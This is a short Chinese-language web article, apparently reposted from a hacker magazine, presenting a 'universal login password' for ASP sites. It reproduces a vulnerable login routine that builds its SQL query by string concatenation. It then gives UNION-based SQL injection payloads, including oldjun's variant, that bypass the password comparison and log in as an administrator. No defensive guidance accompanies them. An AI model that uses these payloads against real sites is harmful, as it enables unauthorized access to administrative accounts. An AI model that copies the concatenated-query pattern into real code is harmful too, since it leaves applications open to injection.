ASP注入万能登陆密码
番茄系统家园 · 2022-03-10 13:22:03
《黑客手册》样刊里面，oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码：
程序代码
username=trim(Request.Form("username"))
password=trim(Request.Form("password"))
sql="Select * FROM admin Where user='"&username&"'"
Set rs=Server.CreateObject("adodb.recordset")
rs.Open sql,conn,1,1
if rs.eof then
checksysUser=FALSE
else
passwd=trim(rs("pwd"))
if passwd=password then
Session("admin")=username
checksysUser=TRUE
else
checksysUser=FALSE
end if
End if
rs.close
conn.close
if checksysUser=true then
Response.Redirect("main.asp")
else
errmsg="用户名输入有误，请重新输入！"
end if
%>
先在数据库中查询用户名对应的密码，然后再和用户输入的密码对比，导致'or'='or'这样的万能登陆密码失效。
但如果在上面的程序中，用户名输入 程序代码
' UNION Select 1,1,1 FROM admin Where ''='
，密码输入1，就可以登陆成功，原理很简单，就不多说了。
顺便附上oldjun的语句：
程序代码
' UNION Select 1,1,1 AS pwd FROM admin Where ''='
免责声明： 凡标注转载/编译字样内容并非本站原创，转载目的在于传递更多信息，并不代表本网赞同其观点和对其真实性负责。如果你觉得本文好，欢迎推荐给朋友阅读；本文链接： https://m.nndssk.com/wlaq/172218iJiLum.html。
